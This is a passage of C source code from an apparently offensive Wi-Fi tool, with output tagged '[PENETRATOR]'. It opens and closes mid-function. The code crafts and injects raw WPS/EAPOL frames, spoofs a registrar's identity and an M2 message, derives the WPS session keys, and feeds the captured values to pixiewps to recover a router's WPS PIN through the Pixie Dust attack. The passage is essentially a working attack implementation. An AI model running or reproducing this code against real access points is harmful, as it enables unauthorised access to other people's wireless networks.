memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending EAPOL start\n");
return 0;
}
int parse_identity_rq(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<40||pkt[0]!=8)return 1;
int llcorg=get_data(pkt+27,3,0);
int llctyp=get_data(pkt+30,2,0);
if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=1)return 1;
attack->eap_id=pkt[37];
return 0;
}
int eap_terminate(ATTACK_INFO *attack,unsigned char eap_id){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 34 00 %s %s %s %s \
aa aa 03 00 00 00 88 8e 01 00 00 05 04 %02hhX 00 05 04",tgt,src,tgt,sn,eap_id);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending EAP terminate\n");
return 0;
}
int identity_response(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s aa aa 03 00 00 00 88 8e \
01 00 00 23 02 %02hhx 00 23 01 57 46 41 2d 53 69 6d 70 6c 65 43 6f 6e 66 69 67 2d \
52 65 67 69 73 74 72 61 72 2d 31 2d 30",tgt,src,tgt,sn,attack->eap_id);
char raw[2048];
int len=hex2raw(packet,raw);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending identity response\n");
return 0;
}
int parse_m1(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;
if(len<40||pkt[0]!=8)return 1;
int llcorg=get_data(pkt+27,3,0);
int llctyp=get_data(pkt+30,2,0);
if(llcorg!=0||llctyp!=36488||pkt[33]||pkt[36]!=1||pkt[40]!=254)return 1;
int msglen=get_data(pkt+38,2,1)-14;
unsigned char *akt=pkt+50;
char enonce[2048];
char pkey[2048];
while(1){
if(msglen<4)break;
int typ=get_data(akt,2,1);
int len=get_data(akt+2,2,1);
if(typ==4130&&akt[4]!=4)return 1;//MSG TYPE
else if(typ==4122)raw2hex(akt+4,enonce,len);//E-NONCE
else if(typ==4146)raw2hex(akt+4,pkey,len);//PKEY
akt+=(4+len);
msglen-=(4+len);
}
if(attack->m1)free(attack->m1);
msglen=get_data(pkt+38,2,1)-14;
attack->m1=malloc(msglen);
memcpy(attack->m1,pkt+50,msglen);
attack->m1l=msglen;
attack->eap_id=pkt[37];
strcpy(attack->pke,pkey);
strcpy(attack->enonce,enonce);
return 0;
}
void dh_get(ATTACK_INFO *attack,void *mysecret, void *mypublic){
DH *dh=DH_new();
dh->p=BN_bin2bn(dh_p,192,NULL);
dh->g=BN_bin2bn(dh_g,1,NULL);
DH_generate_key(dh);
BN_bn2bin(dh->priv_key,mysecret);
BN_bn2bin(dh->pub_key,mypublic);
char publickey[2048];
int len=hex2raw(attack->pke,publickey);
BIGNUM *pkey=BN_bin2bn((unsigned char*)publickey,len,NULL);
DH_compute_key((unsigned char*)attack->secret,pkey,dh);
BN_free(pkey);
DH_free(dh);
char hashme[8194];
char tgt[32];
int2hex(attack->tgt_mac,tgt);
hex2raw(attack->enonce,hashme);
hex2raw(tgt,hashme+16);
hex2raw(attack->rnonce,hashme+22);
char *kdk=sha256_hmac(attack->secret,192,hashme,38);
char *derived=kdf(kdk,"Wi-Fi Easy and Secure Key Derivation",640);
memcpy(attack->derived,derived,80);
free(kdk);
free(derived);
}
void add_auth(ATTACK_INFO *attack,char *packet,int *len,void *last, int llen){
char hashme[8194];
int nl=*len;
memcpy(hashme,last,llen);
memcpy(hashme+llen,packet+58,nl-58);
char *auther=sha256_hmac(attack->derived,32,hashme,llen+nl-58);
packet[nl]=0x10;
packet[nl+1]=0x05;
packet[nl+2]=0x00;
packet[nl+3]=0x08;
memcpy(packet+nl+4,auther,8);
free(auther);
*len=nl+12;
}
int send_m2(ATTACK_INFO *attack){
char packet[2048];
char tgt[32];
char src[32];
char sn[8];
char mysecret[192],mypublic[192];
dh_get(attack,mysecret,mypublic);
raw2hex(mypublic,attack->pkr,192);
sn2hex((attack->sn)++,sn);
int2hex(attack->tgt_mac,tgt);
int2hex(attack->src_mac,src);
sprintf(packet,"00 00 08 00 00 00 00 00 08 01 3a 01 %s %s %s %s \
aa aa 03 00 00 00 88 8e 01 00 01 97 02 %02hhX 01 97 \
fe 00 37 2a 00 00 00 01 04 00 10 4a 00 01 10 10 \
22 00 01 05 10 1a 00 10 %s 10 39 00 10 %s 10 48 00 10 %s \
10 32 00 c0 %s 10 04 00 02 00 3f 10 10 00 02 00 0f \
10 0d 00 01 01 10 08 00 02 00 8c 10 21 00 09 4d \
69 63 72 6f 73 6f 66 74 10 23 00 07 57 69 6e 64 \
6f 77 73 10 24 00 08 36 2e 31 2e 37 36 30 31 10 \
42 00 01 00 10 54 00 08 00 01 00 50 f2 04 00 01 \
10 11 00 04 47 6c 61 75 10 3c 00 01 01 10 02 00 \
02 00 00 10 09 00 02 00 00 10 12 00 02 00 00 10 \
2d 00 04 80 06 00 01",tgt,src,tgt,sn,attack->eap_id,attack->enonce,attack->rnonce,attack->ruuid,attack->pkr);
char raw[2048];
int len=hex2raw(packet,raw);
add_auth(attack,raw,&len,attack->m1,attack->m1l);
sem_wait(&sendmutex);
pcap_inject(fp,raw,len);
attack->lastsend=gettick();
sem_post(&sendmutex);
if(attack->resendmsg)free(attack->resendmsg);
attack->resendmsg=malloc(len);
memcpy(attack->resendmsg,raw,len);
attack->resendlen=len;
if(VERBOSE>0)printf("[PENETRATOR] Sending M2\n");
return 0;
}
unsigned long long int dopixie(ATTACK_INFO *attack){
if(!PIXIEDUST)return 100000000LLU;
char cmd[4096];
char auth[256];
raw2hex(attack->derived,auth,32);
sprintf(cmd,"pixiewps -e %s -r %s -s %s -z %s -a %s -n %s -m %s 2>/dev/null",attack->pke,attack->pkr,attack->ehash1,attack->ehash2,auth,attack->enonce,attack->rnonce);
FILE *p=popen(cmd,"r");
unsigned long long int ispin=100000000;
while(1){
memset(cmd,0,2048);
if(!fgets(cmd,2048,p))break;
if(!strncmp(cmd," [+] WPS pin: ",17)){sscanf(cmd," [+] WPS pin: %llu",&ispin);break;}
}
pclose(p);
if(ispin==100000000&&attack->timelimit)attack->pixiefail=1;
return ispin;
}
int parse_m3(ATTACK_INFO *attack){
unsigned char *pkt=attack->packet+attack->radiotap_len;
int len=attack->len-attack->radiotap_len;